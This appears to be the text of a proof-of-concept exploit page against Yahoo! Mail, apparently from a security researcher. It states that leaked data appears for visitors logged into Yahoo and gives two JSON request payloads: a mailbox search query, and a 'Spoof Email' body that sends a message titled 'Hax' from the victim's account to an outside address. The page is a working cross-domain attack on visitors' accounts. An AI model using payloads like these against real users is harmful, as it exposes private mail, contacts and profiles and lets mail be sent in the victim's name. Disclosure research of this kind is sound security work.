Leaked data shows up here if you're logged into your Yahoo! account.
Contacts
Profile
Mail
Query:
{"keyword":"http","group":{"from":{},"folder":{},"flags":{"order":"desc"},"attachmenttype":{},"date":{"unit":"year"}},"flags":{"softdelete":0}}
Spoof Email:
{"message":{"to":[{"email":"foo@saynotolinux.com","name":"foo@saynotolinux.com"}],"simplebody":{"text":"Such exploit, very cross domain!", "html":"Such exploit, very cross domain!"},"subject":"Hax"}}